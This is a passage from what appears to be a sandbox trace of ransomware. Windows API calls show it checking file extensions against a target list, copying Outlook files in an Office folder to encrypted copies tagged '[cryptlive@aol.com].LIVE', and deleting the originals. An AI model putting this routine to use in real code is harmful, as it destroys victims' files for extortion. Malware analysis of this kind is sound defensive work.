[0144.462] lstrlenW (lpString=".dbf") returned 4 [0144.462] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0144.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.462] lstrlenW (lpString=".1cd") returned 4 [0144.462] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0144.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.462] lstrlenW (lpString=".jpg") returned 4 [0144.462] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0144.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.462] lstrlenW (lpString=".doc") returned 4 [0144.462] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0144.462] lstrlenW (lpString=".docx") returned 5 [0144.462] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0144.462] lstrlenW (lpString=".pdf") returned 4 [0144.462] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0144.462] lstrlenW (lpString=".xls") returned 4 [0144.462] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0144.462] lstrlenW (lpString=".xlsx") returned 5 [0144.462] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0144.462] lstrlenW (lpString=".ppt") returned 4 [0144.462] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0144.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.462] lstrlenW (lpString=".zip") returned 4 [0144.462] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0144.462] lstrlenW (lpString=".rar") returned 4 [0144.462] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0144.462] lstrlenW (lpString=".bz2") returned 4 [0144.462] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0144.462] lstrlenW (lpString=".7z") returned 3 [0144.462] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0144.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.462] lstrlenW (lpString=".dbf") returned 4 [0144.463] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0144.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.463] lstrlenW (lpString=".1cd") returned 4 [0144.463] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0144.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0144.463] lstrlenW (lpString=".jpg") returned 4 [0144.463] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0144.463] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0144.463] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21 [0144.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.463] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=114) returned 1 [0144.463] CloseHandle (hObject=0x384) returned 1 [0144.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 0x20 [0144.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.464] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.464] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.465] GetLastError () returned 0x0 [0144.465] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x72, lpOverlapped=0x0) returned 1 [0144.466] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0144.467] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.467] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0144.467] SetEndOfFile (hFile=0x1ec) returned 1 [0144.467] CloseHandle (hObject=0x1ec) returned 1 [0144.467] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.467] SetEndOfFile (hFile=0x384) returned 1 [0144.470] CloseHandle (hObject=0x384) returned 1 [0144.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 1 [0144.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.471] lstrlenW (lpString=".doc") returned 4 [0144.471] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.471] lstrlenW (lpString=".docx") returned 5 [0144.471] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.471] lstrlenW (lpString=".pdf") returned 4 [0144.471] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.471] lstrlenW (lpString=".xls") returned 4 [0144.471] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.471] lstrlenW (lpString=".xlsx") returned 5 [0144.471] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.471] lstrlenW (lpString=".ppt") returned 4 [0144.471] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.471] lstrlenW (lpString=".zip") returned 4 [0144.471] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.471] lstrlenW (lpString=".rar") returned 4 [0144.471] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.471] lstrlenW (lpString=".bz2") returned 4 [0144.471] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.471] lstrlenW (lpString=".7z") returned 3 [0144.471] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.471] lstrlenW (lpString=".dbf") returned 4 [0144.471] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.471] lstrlenW (lpString=".1cd") returned 4 [0144.471] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.471] lstrlenW (lpString=".jpg") returned 4 [0144.471] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.472] lstrlenW (lpString=".doc") returned 4 [0144.472] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.472] lstrlenW (lpString=".docx") returned 5 [0144.472] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.472] lstrlenW (lpString=".pdf") returned 4 [0144.472] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.472] lstrlenW (lpString=".xls") returned 4 [0144.472] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.472] lstrlenW (lpString=".xlsx") returned 5 [0144.472] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.472] lstrlenW (lpString=".ppt") returned 4 [0144.472] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.472] lstrlenW (lpString=".zip") returned 4 [0144.472] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.472] lstrlenW (lpString=".rar") returned 4 [0144.472] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.472] lstrlenW (lpString=".bz2") returned 4 [0144.472] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.472] lstrlenW (lpString=".7z") returned 3 [0144.472] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.472] lstrlenW (lpString=".dbf") returned 4 [0144.472] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.472] lstrlenW (lpString=".1cd") returned 4 [0144.472] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0144.472] lstrlenW (lpString=".jpg") returned 4 [0144.472] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.473] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0144.473] lstrlenW (lpString="OUTLOOK.DEV_K_COL.HXK") returned 21 [0144.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.473] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=113) returned 1 [0144.473] CloseHandle (hObject=0x384) returned 1 [0144.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 0x20 [0144.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.474] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.474] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0144.474] GetLastError () returned 0x0 [0144.474] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x71, lpOverlapped=0x0) returned 1 [0144.475] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x80, lpOverlapped=0x0) returned 1 [0144.476] ReadFile (in: hFile=0x384, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.476] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0144.476] SetEndOfFile (hFile=0x1ec) returned 1 [0144.476] CloseHandle (hObject=0x1ec) returned 1 [0144.476] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.476] SetEndOfFile (hFile=0x384) returned 1 [0144.696] CloseHandle (hObject=0x384) returned 1 [0144.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0144.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk")) returned 1 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.707] lstrlenW (lpString=".doc") returned 4 [0144.707] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.707] lstrlenW (lpString=".docx") returned 5 [0144.708] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.708] lstrlenW (lpString=".pdf") returned 4 [0144.708] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.708] lstrlenW (lpString=".xls") returned 4 [0144.708] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.708] lstrlenW (lpString=".xlsx") returned 5 [0144.708] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.708] lstrlenW (lpString=".ppt") returned 4 [0144.708] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.708] lstrlenW (lpString=".zip") returned 4 [0144.708] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.708] lstrlenW (lpString=".rar") returned 4 [0144.708] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.708] lstrlenW (lpString=".bz2") returned 4 [0144.708] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.708] lstrlenW (lpString=".7z") returned 3 [0144.708] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.708] lstrlenW (lpString=".dbf") returned 4 [0144.708] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.708] lstrlenW (lpString=".1cd") returned 4 [0144.708] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.708] lstrlenW (lpString=".jpg") returned 4 [0144.708] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.708] lstrlenW (lpString=".doc") returned 4 [0144.708] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0144.708] lstrlenW (lpString=".docx") returned 5 [0144.708] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0144.708] lstrlenW (lpString=".pdf") returned 4 [0144.708] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0144.708] lstrlenW (lpString=".xls") returned 4 [0144.709] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0144.709] lstrlenW (lpString=".xlsx") returned 5 [0144.709] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0144.709] lstrlenW (lpString=".ppt") returned 4 [0144.709] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0144.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.709] lstrlenW (lpString=".zip") returned 4 [0144.709] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0144.709] lstrlenW (lpString=".rar") returned 4 [0144.709] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0144.709] lstrlenW (lpString=".bz2") returned 4 [0144.709] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0144.709] lstrlenW (lpString=".7z") returned 3 [0144.709] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0144.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.709] lstrlenW (lpString=".dbf") returned 4 [0144.709] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0144.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.709] lstrlenW (lpString=".1cd") returned 4 [0144.709] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0144.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK") returned 69 [0144.709] lstrlenW (lpString=".jpg") returned 4 [0144.709] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0144.709] lstrcmpiW (lpString1=".HOL", lpString2=".LIVE") returned -1 [0144.709] lstrlenW (lpString="OUTLOOK.HOL") returned 11 [0144.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0144.710] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1287548) returned 1 [0144.710] CloseHandle (hObject=0x3a4) returned 1 [0144.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 0x20 [0144.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0144.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0144.710] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.711] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0144.711] GetLastError () returned 0x0 [0144.711] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0144.928] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0145.191] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x3a58c, lpOverlapped=0x0) returned 1 [0145.203] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x3a590, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x3a590, lpOverlapped=0x0) returned 1 [0145.210] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.210] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0145.210] SetEndOfFile (hFile=0x384) returned 1 [0145.210] CloseHandle (hObject=0x384) returned 1 [0145.210] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.211] SetEndOfFile (hFile=0x3a4) returned 1 [0145.602] CloseHandle (hObject=0x3a4) returned 1 [0145.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0145.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 1 [0145.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.604] lstrlenW (lpString=".doc") returned 4 [0145.604] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0145.604] lstrlenW (lpString=".docx") returned 5 [0145.604] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0145.604] lstrlenW (lpString=".pdf") returned 4 [0145.604] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0145.604] lstrlenW (lpString=".xls") returned 4 [0145.604] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0145.604] lstrlenW (lpString=".xlsx") returned 5 [0145.604] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0145.604] lstrlenW (lpString=".ppt") returned 4 [0145.604] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0145.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0145.604] lstrlenW (lpString=".zip") returned 4 [0145.605] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0145.605] lstrlenW (lpString=".rar") returned 4 [0145.605] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0145.605] lstrlenW (lpString=".bz2") returned 4 [0145.605] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0145.605] 